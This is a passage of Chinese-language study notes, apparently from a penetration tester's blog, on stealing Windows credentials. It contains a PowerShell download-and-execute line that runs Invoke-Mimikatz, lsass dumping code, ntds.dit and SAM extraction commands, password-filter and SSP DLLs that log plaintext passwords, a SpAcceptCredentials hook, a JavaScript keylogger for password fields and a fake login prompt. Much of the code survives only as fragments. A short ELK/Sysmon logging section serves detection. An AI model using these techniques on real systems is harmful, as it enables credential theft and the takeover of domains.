本来按计划应该学习横向移动,但是发现一个问题,如何横向?这就是我记录这一章的目的,提升权限之后获取凭证,利用已获取的凭证扩大战果才是正确的姿势,学习的主要资料是参考链接中的分享,建议阅读参考的原文,再次说明,我的只是笔记,记录我的学习过程中的所思所想。
参考:
Credential Access & Dumping
"IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.10.128/Powershell/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
#当前权限需管理员
原文中提到如果目标运行了一个Powershell示例,则无法启动脚本,笔者未遇到,均正常运行
最简单的操作,不用多说。
-version
2
"IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.10.128/Powershell/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
#指定powershell版本
可理解C#中加载mimikatz
#编译后执行即可
posh.cs请查看原网站进行获取。
参考:
渗透技巧——使用Mimilib从dump文件中导出口令
Mimilib利用分析
转储lsass.exe 进程的方法如下:
Out-Minidump
Dump lsass 进程任务管理器转储文件只需要当前用户是管理员组内账户即可,但是不要认为转储文件只要需要标准用户的权限(完整性Medium
),开启UAC时,管理员账户使用任务管理器转储文件,任务管理器的完整性为High
,所以才能操作System
完整性的lsass.exx
进程。
Get-Process
824
#写入dump文件的目录注意权限,一般选择Temp等有权限写入的目录
进程转储文件到本地mimikatz
读取即可:
#include "stdafx.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
using
namespace
std
int main()
0
NULL
L"lsass.dmp"
0
NULL
NULL
0
sizeof
L""
if
while
L"lsass.exe"
0
"[+] Got lsass.exe PID: "
endl
0
NULL
NULL
NULL
if
cout
"[+] lsass dumped successfully!"
endl
return
0
VS 2019 中新建项目,模板选择 C++ 控制台应用:
会遇到两个错误:
目标机器上管理员权限执行,自动dump lsass 进程的转储文件。
lsass.dmp
下载到本地使用 mimikatz 解密就好。
参考:渗透技巧——通过SAM数据库获得本地用户hash
#从注册表中导出system和sam文件
这里使用kali 中的samdump2
来读取system 和 sam:
mimikatz 也可以导入 sam 和 system:
另外介绍几种从读取sam的方式:
参考:module ~ lsadump
注意前提,需要system
权限(或者system
token),直接使用lsadump::sam
即可。
#这里我使用psexec4来获取一个system权限的cmd
或者使用token::elevate
假冒令牌提升至system
权限(当前前提是当前用户是管理组成员,管理员用户):
直接从文件系统中复制sam和system文件,这两个文件的路径如下:
默认无法被复制,可使用卷影复制:
for
后续再补充,
LSA Secrets 存储在注册表中:
参考:
通过Dpapi获取Windows身份凭证
写给蓝军的滥用 DPAPI 操作指南(下)
Windows LSA secrets
$MACHINE.ACC 是计算机对象,密码是120字符,240字节,如果密码包含不可见字符,会以十六进制显示 参考:Windows域中特殊的用户-计算机对象攻防 这个命令有什么用?请看下文DPAIP小节
#这里笔者使用的是powershell
#如果使用cmd,请用&连接符
system
文件和security
移动到本地使用mimikatz进行读取:
转储和破解 mscash ——缓存的域票据
参考:
Belated Codegate 2014 Quals Writeups and Lessons Learned
MSCash Hash Primer for Pentesters
你并不懂 Mimikatz Part 1 - Wdigest SSP
你并不懂 Mimikatz Part 2 - MSCACHE
mscash
,或者叫 domain cached credentials、域缓存票据,与用户在成功登录后将缓存的域凭据存储在系统本地,缓存的凭据不会过期,以防止DC无法通信,任然能够登录机器,另外mscash hash 无法用于PTH。
具体存储在系统哪里,保存在注册表中,结构未域凭据+域授权信息,后面就直接用 “凭据” 来代表 “凭据信息” + “授权信息”。
在Meterpreter中常常使用hashdump
来dump sam 中的 hash:
如果要转存缓存的域凭据,请使用post
模块中的cachedump
:
#确保当前进程是system权限
impacket 中提供了secrestdump
的脚本,该脚本可允许转储存储在注册表中的sam、SECURITY、SYSTEM中的所有凭据。
#有时候需要规避这些关键词
文件移动到本地使用secretsdump
读取:
#获取 SysKey 用于解密 NLKM 和 MSCache(v2)(来自注册表或 hive 文件)
cachedump
模块默认输出的格式是John的格式:
使用hashcat 破解mscache ,应该用以下格式:
$DCC2
$10240
#tom#e4e938d12fe5974dc42a90120bd9c90f
":"
'$DCC2$10240#administrator#aa9245e15ddcbdff2f461c53a624cbfa'
Domain Credentials Cached缓存在HKEY_LOCAL_MACHINE\SECURITY\Cache
(需要system权限):
NL $1...10
是记录的10个域用户缓存票据,如果清空所有值,且无法和DC通信,则域用户无法登录。
没有凭据,但是可以访问DC,通过域管权限使用ntdsutil
导出ntds.dit
、sam
、system
。
"ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
导出temp
目录下的两个目录:Active Directory
和registry
:
使用impacket 中的secretsdump
解密:
参考:DiskShadow: The Return of VSS Evasion, Persistence, and Active Directory Database Extraction
Windows server 2008 及其以上,使用diskshadow 获取 ntdis.dit
没有凭据,但可以使用DC的域管权限,通过以下操作获得ntds.dit。
创建一个脚本shadow.txt
,脚本内容如下:
set
set
alias
执行以下命令:
最后记得在交互式的diskshadow
中清楚创建的卷影:
使用impacket 项目中的secretsdump
脚本,通过RPC dump ntds.dit 文件:
'Admin!@#45'
参考:REMOTELY EXTRACT NTDS.DIT & SYSTEM hive
简单来说就是通过wmic远程链接域控执行Vssadmin 卷影复制到本地 wmic能正常工作的前提:135端口开启,目标机器wmi服务正常运行
#45 process call create "cmd /c vssadmin create shadow /for=C: 2>&1" #
0
45
call
cmd
copy
copy
copy
0
45
call
cmd
mkdir
得到了这三个文件使用之前的secretsdump
脚本解密即可。
这里使用Sysmon来查看相关WMI的日志,配置文件使用@ Cyb3rWard0g的StartLogging.xml。
笔者使用的环境为Windows Server 2008 R2 ,安装时遇到错误,安装补丁KB3033929解决。
日志通过事件查看器查看,路径为:应用程序和服务日志——Microsoft——Windows——Sysmon文件夹中:
不知道什么原因,我这里字符显示有点奇怪
请理解这一小节,理解在Windows各种登录下何时丢弃凭据,换句话说,怎样登录才会保存凭据在内存中。 注意:我用的是凭据,并不是密码,这是由区别的,凭据可理解未NTLM、Kerberos票据等。
参考:
Audit logon events
Windows日志分析及事件ID大全
如果你注意过日志中对登录类型的描述,会发现微软实际上定义了很多种登录类型。
本文讨论的是黑体部分的登录类型是否保存凭据到内存中(简单理解为内存),能否抓到对应的凭据。
注:当前用户管理组成员(包括administrators或者Domain admins组内成员)。
# privilege::debug
# sekurlsa::logonpasswords
准备一个高权限的mimikatz作为后续测试转储凭据的主要工具。
credman
部分不用在意,这部分命令是使用凭据管理手动添加的,可以注意到,凭据被mimikatz转储。
#或者这种格式
# sekurlsa::logonpassword
mimikatz转储了凭据。
/netonly
的runas 凭据登录#注,这里的用户并不是有效的用户,任意的用户即可
#尽管以用户的身份登录,但是日志中登录类型为9,表示源自新进程的任何网络连接都使用下凭据
mimikatz转储了凭据。。
'Admin!@#45'
#为避免冲突,请设置新账号已测试
mimikatz转储凭据中没有该账号。
'Admin!@#45'
#同网段的另一台机器
test
#45
mimikatz转储凭据中没有该账号的凭据
简单来说就是 RDP
为了演示,使用域管账号RDP至当前主机,可以看到,当前已转储域管的凭据。
#其他机器上psexec至当前主机,使用的是当前用户的默认票据,
#登录类型为3 网络登录
mimikatz 转储的凭据中没有该凭据。
#45 cmd
#其他主机psexec 至当前主机 指定用户凭据
#当前主机上查看凭据
#登录类型为3和登录类型2 ,两个登录类型。
mimikatz转储了凭据。
网络登录不缓存在内存中,除非使用Psexec时是由 -U 指定凭据。
交互时登录和远程交互式登录都将缓存票据在内存中,使用mimikat可以很容易的进行转储。
因为测试过程中有一些日志展示,这里记录下安装的日志监控平台的笔记,,以下是笔者的docker-compose.yml
文件:
'2.0'
docker.elastic.co/elasticsearch/elasticsearch:7.8.0
elasticsearch
discovery.type=single-node
cluster.name=es-docker-cluster
bootstrap.memory_lock=true
"ES_JAVA_OPTS=-Xms512m -Xmx512m"
9200
:9200
9300
:9300
docker.elastic.co/kibana/kibana:7.8.0
kibana
5601
:5601
elasticsearch
./kibana.yml:/usr/share/kibana/config/kibana.yml
其中kibana.yml
的文件内容如下:
kibana
"0.0.0.0"
[
"http://elasticsearch:9200"
]
true
"zh-CN"
#确保容器均以成功启动
另外,笔者曾因为防火墙这个问题卡了很久,请关闭防火墙,使用的系统CentOS 8 ,其他系统有可能不一样。 甚至排查曾经某容器的build 失败,也是该原因,暂不明确原因,但是关闭防火墙之后,问题消失。
disable
elasticsearch和kibana 启动需要一些时间,可查看日志,确保已成功启动:
#elasticsearch
确保访问elasticsearch
能够获得一串json数据:
首先确保“本地安全策略”中设置了对登录“成功”和“失败”、对账户管理“成功”和“失败”事件进行审核,这样对应的事件才会被记录在“安全”事件日志中,成为我们审计事件的源。
下载Winlogbeat到C:\Program Files
,解压重命名为Winlogbeat
,在Powershell使用脚本安装Winlogbeat
服务。
#请使用管理员权限打开
'C:\Program Files\Winlogbeat'
install-service
-winlogbeat
#可能因为powershell脚本执行策略原因安装失败
-ExecutionPolicy
install-service
-winlogbeat
修改Winlogbeat
目录下的winlogbeat.yml
文件,笔者的配置如下:
参考: Configure Winlogbeat
Application
Security
System
Windows
PowerShell
Microsoft-Windows-PowerShell/Operational
Microsoft-Windows-Sysmon/Operational
10.10
.10
.129
:9200
"winlogbeat"
"winlogbeat-*"
false
10.10.10.129
是elasticsearch
所在主机地址,使用winlogbeat.exe test config
检测配置是否有错:
-c
-e
Start-Service
#启动服务
参考:Get started with Winlogbeat
在Discover面板中选择“winlogbeat*”的索引,可查看相关日志。
在SIEM中也可以相关的安全日志:
相关高级应用有机会再使用记录。
参考:
Operational Guidance for Offensive User DPAPI Abuse
【知识回顾】DPAPI 详解
写给蓝军的滥用DPAPI操作指南(上)
写给蓝军的滥用 DPAPI 操作指南(下)
Mimikatz之DPAPI学习与实践
Windows Password Recovery - DPAPI Master Key analysis
Data Protection Application Programming Interface
,微软数据保护接口)CryptProtectData
和CryptUnprotectData
下面是一些重要的细节:
参考:通过Dpapi获取Windows身份凭证
Master Key
来进行加解密(对称加密),64字节Master Key File
是存放Master Key
的文件,分为两种:
注:目录下有多个Master key File ,每隔90天系统生成新的Master key (旧的不会删除),目录下的Preferred记录了最后一个Master key file 的名称和创建时间
——来自三好学生
换句话说,如何确定当前使用Master Key File,需要查看Preferred文件,三好学生提供了一个解析该文件的的C程序,笔者未编译成功,另外一个三好学生的一个思路是修改该文件的中的日期,替换Preferred,使旧的Master Key File被复用。
但其实笔者觉得只需要查看修改日期即可,Preferred和Master Key File 的修改时间相同的文件即未使用的Master Key File:%APPDATA%\Microsoft\Protect\%SID%
(隐藏属性)%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User
(隐藏属性)in
"C:\Users\jerry\AppData\Roaming\Microsoft\Protect\S-1-5-21-1682194975-1712503958-586237246-1001\8e2ec505-1722-405f-ac68-ff0c19231564"
#可使用dpapi::masterkey 指定Master Key file ,并且输入/password 或 /hash 来解密获得Master key
#注:这里的hash值得时ntlm 或者sha1 之类的都可以,测试ntlm 已经无法解密,sha1 成功解密
#下面是解密系统Master Key file的命令
in
"C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\02efa129-bc22-45e1-bfe3-65f510ed0f99"
#解密的key来自于下面 lsadump::secrets
#没有演示解密用户 Masterr Key file ,下面几种方法都可以获取用户的
这里也说明下Master Key
的方法,有了它才能进行解密:
参考:渗透技巧——获取Windows系统下DPAPI中的MasterKey
Master Key 加密的结果我们称为DPAPI数据体(也就是 blob),现在思路就明确了,寻找系统中应用程序加密的 dpapi blob 部分。
参考:渗透技巧——离线导出Chrome浏览器中保存的密码
读取Cookie:
in
"%localappdata%\Google\Chrome\User Data\Default\Cookies"
读取登录凭据:
in
"%localappdata%\Google\Chrome\User Data\Default\Login Data"
最新版v83测试失败
Update:
经测试v83 上路径为:
"%localappdata%\Google\Chrome\User Data\Profile 1\Cookies"
"%localappdata%\Google\Chrome\User Data\Profile 1\Login Data"
这两个文件本质上是一个SQLite 数据库:
包含笔者个人信息,所以重度打码。
in
"%localappdata%\Google\Chrome\User Data\Profile 1\Cookies"
in
"%localappdata%\Google\Chrome\User Data\Profile 1\Login Data"
#目标机器上使用 /unprotect
#离线使用指定 /masterkey
任然未解密成功,不过可以看到部分信息,已看到有相关issues 另外发现有其他可以工具解密Chrome Login Data 。
使用dpapi::protect
加密只有当前登录的用户才能访问的数据:
简单来说调用DPAPI接口加密
"spotless"
#如果不指定字符,默认是"mimikatz"字符
将blob复制粘贴到Hxd的一个新文件中,保存为spotless.bin
,在用户的上下文下运行解密它:
in
"C:\Users\****\Downloads\spotless.bin"
#可离线指定masterkey ,需要明确加密使用的Master key 和解密使用的Master key 是相同,否则解密失败
#如何找到对应的key,根据GUID的值
可以看到成功解密出来加密的字符。
#include <iostream>
#include <Windows.h>
#include <dpapi.h>
#pragma comment(lib,"crypt32.lib")
int main()
0
0
"spotless"
L"C:\\Users\\***\\Downloads\\spotless_1.bin"
0
NULL
NULL
sizeof
NULL
NULL
NULL
NULL
NULL
NULL
return
0
原版代码编译不通过,找不到解决方法,这里用了@冷逸 代码中的解决办法
现在尝试使用mimikatz来解密产生的二进制文件:
in
"C:\Users\***\Downloads\spotless_1.bin"
可以注意到输出的是 Hex:
末尾这个点(00)我是没明白怎么来的
对比下前面使用mimikatz创建的spotless.bin
和后面的spotless_1.bin
:
前面一部分是相同的
尝试解密使用mimikatz 创建的加密的二进制文件:
#include <iostream>
#include <Windows.h>
#include <dpapi.h>
#pragma comment(lib,"crypt32.lib")
int main()
0
0
"spotless"
300
0
300
0
L"c:\\users\\***\\Downloads\\encrypted.bin"
0
NULL
NULL
L"c:\\users\\****\\Downloads\\spotless.bin"
0
NULL
NULL
0
//encrypt
sizeof
NULL
NULL
NULL
NULL
NULL
NULL
//decrypt
NULL
NULL
NULL
NULL
NULL
NULL
NULL
0
return
0
原文是想表达从内存中查看解密的字符串,但是这里笔者未成功查看到。
Remote Desktop Connection Manage(简称RDCMan)是微软提供的一个远程桌面管理工具,RDCMan可以集中管理常用的远程桌面,最新版是2.7只能支持到 2012 R2,官方已经不再提供下载和维护。
OWA2010SP3.rdg
Server Settings
和Login Credentials
,记得Save使用Hxd打开该文件,找到其中Password部分,很明显这是一个Base64编码:
尝试解码Base64:
echo
注意,hex的前62个字节和之前使用DPAPI加密的spotless.bin
文件相同:
原文任然使用上面编写的CryptUnprotectData
在用户上下文上执行,使用VS查看内存中的中字符,笔者前面的程序未能成功查看的字符,这里未成功复现。
这里使用Mimikatz解密该文件,分两种情况:
guidMasterKey
的值,guid
标识不同的Master key ,使用对应的Master Key ,这里我使用sekurlsa::dpapi
检索Master key
。
需要管理员权限实际上我这种解密方式比较低效,mimikatz已经自动化解密 rdg 文件:
这里暂时失败,暂且不知道失败的原因。这里仅是一个解密blo文件的的示例,理解上述步骤,可以解密其他使用dpapi 加密文件。
如果系统上还有其他用户,由于没有对应用户的DPAPI Master key ,无法读取这些 加密数据,,如果获取了本地管理用户,则可以尝试检索出对应的Master Key ,进行解密。
in
"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data"
# 调用 CryptUnprotectData API
#解密错误
#内存中查找用户对应的Master Key
in
"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data"
#解密即可
参考:
Retrieving DPAPI Backup Keys from Active Directory
Mimikatz之DPAPI学习与实践
域用户的Master Key File 是由域的DPAPI Key (或者说域备份密钥)保护的,该key值不会改变。
export
#system参数使用 完整的FQDN、地址都可以
#当前账号须是域管
#解密域用户的Master key file
in
"C:\Users\jerry.0DAY\AppData\Roaming\Microsoft\Protect\S-1-5-21-1812960810-2335050734-3517558805-1128\015aa6db-dde2-43f4-808d-30b95b50f910"
得到域用户的Master Key ,使用该 Key 解密域用户的相关文件即可。
没啥好说的,第三方应用密码存储在注册表中,检索注册表,发现相关敏感信息。
参考:
Password Filters
Password Filter DLL在渗透测试中的应用
配置Additional LSA Protection监控Password Filter DLL
这一片和盖章关系不大
Credential Access – Password Filter DLL
在域环境或者工作组环境中可在组策略可开启密码策略中的复杂度要求以提高安全性:
如对复杂度还有要求,可使用 Password Filter DLL进一步提高密码的复杂度。
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>
#include <stdio.h>
#include <iostream>
#include <fstream>
using
namespace
std
void writeToLog(const char* szString)
"c:\\logFile.txt"
"a+"
if
NULL
return
fprintf
"%s\r\n"
return
extern
"C"
BOOLEAN __stdcall InitializeChangeNotify(void)
L"InitializeChangeNotify"
"InitializeChangeNotify()"
return
extern
"C"
BOOLEAN __stdcall PasswordFilter(
PUNICODE_STRING AccountName,
PUNICODE_STRING FullName,
PUNICODE_STRING Password,
BOOLEAN SetOperation)
L"PasswordFilter"
return
extern
"C"
NTSTATUS __stdcall PasswordChangeNotify(
PUNICODE_STRING UserName,
ULONG RelativeId,
PUNICODE_STRING NewPassword)
"c:\\logFile.txt"
"a+"
L"PasswordChangeNotify"
if
NULL
return
true
fprintf
"%ws:%ws\r\n"
return
0
VS 中编译动态链接库项目:
注意:预编译头中添加"stdafx.h
,位数选择和目标对应的版本
hklm\system\currentcontrolset\control\lsa
下Notification Packages
配置Password Filter DLL的名称。"hklm\system\currentcontrolset\control\lsa"
"notification packages"
"hklm\system\currentcontrolset\control\lsa"
"notification packages"
#为什么有\0?为了换行
Powershell中也能完整上述类似效果。
$passwordFilterName
Copy-Item
"Password-Filter-DLL"
-Destination
"C:\Windows\System32"
-PassThru
$lsaKey
Get-Item
"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
$notificationPackagesValues
$lsaKey
"Notification Packages"
$notificationPackagesValues
$passwordFilterName
Set-ItemProperty
"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
"Notification Packages"
$notificationPackagesValues
Restart-Computer
-Confirm
#需管理权限
这种密码收集方法动静很大,需要目标重启,且要求当前管理权限,开启密码复杂度。
在三好学生blog中提到,修改组策略配置,开启组策略的密码复杂度,也是一种方法。
参考:
深入分析Mimikatz:WDigest
如何防御Mimikatz
Wdigest简单说为了http认证而把用户的密码存在lsass进程中的一种协议:
在Windows Server 2008 R2之前,系统默认情况下会缓存WDigest凭据,此后系统不再缓存明文凭据。 老版本的系统打了补丁KB2871997,可修改注册表禁用WDigest协议
设置
Negotiate
和UseLogonCredential
为0,另外Windos server 2016 和Windows 10中没有UseLogonCredential
可通过修改注册表重新启用该WDigest协议:
#管理员权限
#注销或者重启生效
#删除值禁用WDigest协议
#查询
未开启之前是这样的:
开启之后抓取密码是这样的:
可以看到已经成功抓取到铭文密码。
注:Metasploit中存在post/windows/manage/wdigest_caching
自动修改注册表的模块
转储委派的Kerberos和NTLM凭证,不接触Lsass
渗透技巧——Windows中Credential Manager的信息获取 注:建议阅读三好学生原文 渗透测试实战第三版(红队版)——从 Windows 凭据管理器和浏览器获取密码 Kinds of Credentials Credentials Processes in Windows Authentication
#打开凭据管理
Credential Manager(凭据管理器)是Windows 7 或Windows Server 2008 R2 中引入的一项功能,用来保存系统、网站和服务器的用户、密码和证书。使用 Microsoft IE/EDGE 进行验证时,会提示“是否保存密码”,如果选择存储,再次验证时,则会自动登录。
例如,使用RDP,选择记住凭据,则会在凭据管理器种新增一条Windows凭据:
凭据管理器中分为两种类型的凭据:
这部分不同Windows 版本上有点不同,例如Windows 7 仅有Windows 凭据、基于证书的凭据、普通凭据,没有Web凭据
Windows凭据中又有三种类型:Windows 凭据、基于证书的凭据、普通凭据。
在微软文档中 Credentials Management API,分为两类凭据,Domain Credentials(域凭据)和Generic Credentials(通用凭据) 域凭据只能由LSA进行读写,通用凭据可由用户进程进行读取和写入。
#相关票据可打开控制面板查看,也可以使用以下命令
#显示所有已存储的用户名和票据
#添加用户名和密码为凭据
#不指定密码添加凭据
#删除远程访问存储的凭据
#删除凭据
#注:该命令修改的是Windows凭据,非Web凭据
#注:不同用户的%localappdata%不同,cmdkey 修改只对当前用户的凭据,例如:在A用户使用cmdkey 修改,B(可以是域用户)用户是无法查看的。
参考:Cmdkey
凭据的保存的位置在%localappdata%/Microsoft\Vault
,称为保管库。
#修改保管库相关命令
#列出保管库
#列出凭据架构
#中文系统请使用中文
"Web 凭据"
#查看保管库中的凭据
"Windows 凭据"
#添加保管库,具体参数请自行查看
#删除保管库
#查看保管库属性,需指定保管库
#同步,可能和引用商店密码有关,具体笔者未知
另外mimikatz中也提供了相关命令可以查看保管库中的相关信息(WEB凭据是明文的,Domain Password加密存储,暂且不知道如何解密)
给想要解密的小伙伴提供一些思考:猜测这个也和DPAPI有关
了解了以上的知识再来看本小节的主题,凭据分配
参考:Credential theft without admin or touching LSASS with Kekeo by abusing CredSSP / TSPKG (RDP SSO)
凭据分配可以让管理员(域管理员)授权某些SPN(服务)接受分配的凭据。
例如,开启分配凭据,RDP免输入凭据直接链接。
这里涉及到组策略设置,默认未配置,比较奇怪的时,默认组策略下,记住凭据可以二次链接可以免凭据链接。 这里就产生一个疑问,是否向RDP server 分配了凭据。我猜测是不会的,待确认。
相关组策略:
注:笔者域环境,所以在域控下发组策略,配置之后请gpupdate
几个凭据很容易弄混,解释下这里出现的3种凭据: 默认凭据是首次登录 Windows 时要使用的凭据 保存的凭据是指凭据管理中保存的凭据 新的凭据是指执行应用程序时提示输入的凭据
相关设置在注册表中的项为:HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CredentialsDelegation
如果未配置,则项不存在,此处启用允许分配默认凭据
,服务器列表的值为TERMSRV/*
(这个值实际上就是SPN),另外系统的默认分配凭据的组策略在注册表中路径为HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\PolicyDefaults
。
kekeo可列举注册表中的值:
组策略配置开启”允许分配默认凭据“,策略设置的值TERMSRV/*
:
#SRV-DB-0DAY 上操作
#以System权限,或者以其他方式得到system权限
#检测注册表相关配置
#
#PC-jerry-0day
#整个操作过程如图所示
*SRV-DB-0DAY *捕获到分配的凭据:
另外PC-jerry-0day上的将生成一个新的票据:
组策略配置启用“允许分配默认凭据”和“允许分配默认凭据用户仅NTLM身份验证”,且设置的值都为“*”。
这里开启了两个kekeo
,一个做clien
,一个做server
:
注:都是标准用户(域用户,非管理权限)
#客户端无法验证服务器的,`tsssp::client /target:A`中的A可以是任意值
可以看到捕获的是当前账号0day\jerry
的密码,注意:当前凭据管理中是没有该账号的,仅有RDP保存的0day\sqladmin
:
即实现了不接触Lsass得到当前账号的密码。
可能遇到的目标未启用分配凭据,如何启用分配票据:
*
reg
命令修改注册表,并修改服务器的值为*
"*" "* #如何恢复 reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /f #删除所有项 #以上操作需要管理权限笔者未复现成功,但大致了解了整个过程
假设当前是system
,首先先寻找其他用户的进程(改用户可以是标准用户,也可以是管理员用户):
使用kekeo
开启server:
#kekeo中,标准用户身份即可
开启另外一个终端,使用mimikatz
以注入进程(jerry身份运行的进程),执行tsssp::client
:
笔者理解的是进程注入,可能有误
"kekeo.exe \"tsssp::client /target:A\" exit"
最终tsssp::server
收到分配的凭据。
小结
实际上感觉还有更好的方式实现,例如使用模拟令牌或者其他注入进程的工具实现身份的窃取,使用tsssp::client
即可获得明文密码。
通过注册表查询已开启分配凭据
#检查分配凭据是否开启
#查看那些SPN接受分配的凭据
参考:
gpresult
Get-GPOReport
#默认是本地的
#or
"0day.org"
"OWA2010SP3"
"C:\Users\jerry.0day\GPOReportsAll.html"
#推荐前者,拉取本地内容,速度快
导出组策略为html文件,通过浏览器查看相关策略设置。至此这一小节结束。
Security Support Provider(安全支持提供者),简称SSP,其具体实现为一个DLL,这些DLL在系统启动时注入到 lsass.exe 进程中,或者通过AddSecurityPackage API
动态注入。
#使用对应位数的mimilib.dll
"Security Packages"
"Security Packages"
"kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib"
#\0是为了换行
#以上操作需管理员权限
#重启登录
type
"Security Packages"
""
#恢复配置
通过AddSecurityPackageA
API动态注入Lsass.exe进程。
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#pragma comment(lib, "Secur32.lib")
int main()
"C:\\Users\\jerry\\mimilib.dll"
return
0
实际上mimikatz中也提供了对应的命令:
hklm\system\currentcontrolset\control\lsa\
#include "stdafx.h"
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>
#pragma comment(lib, "Secur32.lib")
NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
return
0
NTSTATUS NTAPI SpShutDown(void)
return
0
NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo)
L"SSSPotless"
L"SSSPotless <o>"
0
1
return
0
NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
L"c:\\temp\\logged-pw.txt"
0
NULL
NULL
0
std
wstring
log
L""
std
wstring
std
wstring
std
wstring
log
L"@"
L":"
L"\n"
log
log
2
NULL
return
0
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
以上代码来自mimikatz,修改了一部分,可编译SSP DLL,截取认证信息保存到c:\\temp\\logged-pw.txt
一些SSP相关链接和Trick
参考:
Mimikatz中SSP的使用
Security Support Provider
Security Support Provider——MSDN
探索Mimikatz神器之SSP
Persistence – Security Support Provider
Invoke-Mimikatz -Command "misc::memssp"
)Mimi-Command misc::memssp
实现不重启加载SSPWEB应用中 定义密码字段的的 input
属性为password
:
所有的Web元素都可以相应各种类型的事件,并且在这些事件发生时执行代码,例如,输入字段可以相应诸如onFocus(对象获得焦点)、onBlur (对象失去焦点)和其他事件,其中包括keypress、 onKeyDown 和 onKeyUp 的各种键盘事件。
更多关于 Events 的信息——HTML Event Attributes
""
'input[type="password"]'
function (e)
console
"pw"
上述代码只捕获password ,用户名也可以用同样的方式获得
大概解释下:
password
的输入字段onkeypress
事件,该函数在用户登录到目标应用程序时,捕获用户在密码字段中输入的按键pw
字段中。如果目标在捕获密码之前关闭针对的WEB应用程序选项卡,则 Hooking将被清除,Hooking 需要在此重复操作。 Tips:如何清空控制台,这里使用的时Ctrl+r (重新加载网页)
即使浏览器关闭,任然可行
Local Storage
在的路径为%localappdata%\Google\Chrome\User Data\Profile 1\Local Storage\leveldb
的****.log
中,笔者的是003356.log
.
笔者chrome 版本v83 ,不同版本路径有差异。
打开文本文件搜索pw
字段即可找到保存的密码。
未复现成功
上面的代码很容易修改为每次按键时将密码发送给攻击者控制的Web服务器,而无需使用控制台查看或者查看LocalStorage 的文件。
转移密码时请使用加密的通信
LocalStoraged的*****.log
中包含了插入的Hooking 代码,因此可监控%localappdata%\Google\Chrome\User Data\Profile 1\Local Storage\leveldb
中的***.log
文件,文件包含JavaScript 密码选择器和关键词onkeypress
、onkeyup
、onkeydown
等。
参考:
深入分析Mimikatz:SSP
Exploring Mimikatz - Part 2 - SSP
这一章限于笔者个人知识面,无法理解,因此这里只介绍如何使用:
#include "stdafx.h"
#include <iostream>
#include <Windows.h>
#define SECURITY_WIN32
#include <Sspi.h>
#include <ntsecapi.h>
#include <ntsecpkg.h>
using
char
0x48
0x83
0xec
0x20
0x49
0x8b
0xd9
0x49
0x8b
0xf8
0x8b
0xf1
0x48
char
12
0x48
0xb8
NULL
NULL
char
12
0
void installSpAccecptedCredentialsHook()
PVOID GetPatternMemoryAddress(char *startAddress, char *pattern, SIZE_T patternSize, SIZE_T searchBytes)
unsigned
int
0
NULL
char
0
0
do
if
0
for
size_t
1
char
char
if
break
if
1
return
while
return
NULL
NTSTATUS NTAPI hookedSpAccecptedCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
0
L"c:\\temp\\credentials.txt"
0
NULL
NULL
NULL
// intercept credentials and write them to disk
NULL
"@"
2
NULL
NULL
":"
2
NULL
NULL
// unhook msv1_0!SpAcceptCredentials
sizeof
NULL
// hook msv1_0!SpAcceptCredentials again with a delay so that originalSpAcceptCredentials() can execute
NULL
NULL
NULL
NULL
NULL
// call original msv1_0!SpAcceptCredentials
return
void installSpAccecptedCredentialsHook()
1000
5
"msv1_0.dll"
0
// find address of msv1_0!SpAcceptCredentials
char
sizeof
16
// store first sizeof(bytesToRestoreSpAccecptedCredentials) bytes of the original msv1_0!SpAcceptCredentials routine
std
memcpy
sizeof
// hook msv1_0!SpAcceptCredentials with "mov rax, hookedSpAccecptedCredentials; jmp rax";
std
memcpy
2
sizeof
std
memcpy
2
sizeof
"\xff\xe0"
2
sizeof
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
switch
case
case
case
case
break
return
编译为DLL,使用前面的AddSecurityPackageA
加载DLL,或者使用RPC通过LoadLibrary
来加载DLL(貌似通过RPC调用不会再lsass 加载DLL列表中)。
注:有能力的师傅,理解上述代码,根据原理,在实际环境中定制自己的payload,绕过AV或者EDR。
#include <iostream>
#include <Windows.h>
#include <wincred.h>
#pragma comment(lib, "Credui.lib")
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
sizeof
std
wstring
L"Microsoft Outlook"
std
wstring
L"Connecting to spotless@offense.local"
255
255
0
L"."
NULL
5
255
255
if
NULL
NULL
if
// valid credentials provided
else
// invalid credentials provided
else
if
// no credentials provided
return
0
